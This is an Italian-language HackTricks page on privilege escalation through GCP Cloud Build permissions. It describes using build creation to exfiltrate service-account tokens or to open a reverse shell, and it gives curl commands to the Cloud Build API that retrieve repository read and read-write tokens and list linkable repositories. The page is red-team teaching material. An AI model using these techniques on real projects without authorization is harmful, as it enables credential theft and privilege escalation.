GCP - Cloudbuild Privesc

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

cloudbuild

Per maggiori informazioni su Cloud Build controlla:

GCP - Cloud Build Enum

cloudbuild.builds.create

Con questo permesso puoi inviare una cloud build. La macchina cloudbuild avrà nel suo filesystem di default un token del cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Tuttavia, puoi indicare qualsiasi service account all'interno del progetto nella configurazione cloudbuild. Pertanto, puoi semplicemente far esfiltrare alla macchina il token al tuo server o ottenere una reverse shell al suo interno e prendere il token (il file contenente il token potrebbe cambiare).

Puoi trovare lo script exploit originale qui su GitHub (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la creazione, exploit e pulizia di un ambiente vulnerabile qui e uno script python per ottenere una reverse shell all'interno della macchina cloudbuild e rubarlo qui (nel codice puoi trovare come specificare altri service account).

Per una spiegazione più approfondita, visita https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potenzialmente con questo permesso sarai in grado di aggiornare una cloud build e semplicemente rubare il token del service account come è stato fatto con il permesso precedente (ma sfortunatamente al momento della scrittura non sono riuscito a trovare alcun modo per chiamare quell'API).

TODO

cloudbuild.repositories.accessReadToken

Con questo permesso l'utente può ottenere il token di accesso in lettura utilizzato per accedere al repository:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Con questo permesso l'utente può ottenere il token di accesso in lettura e scrittura utilizzato per accedere al repository:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Con questo permesso puoi ottenere i repository a cui la connessione ha accesso:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Last updated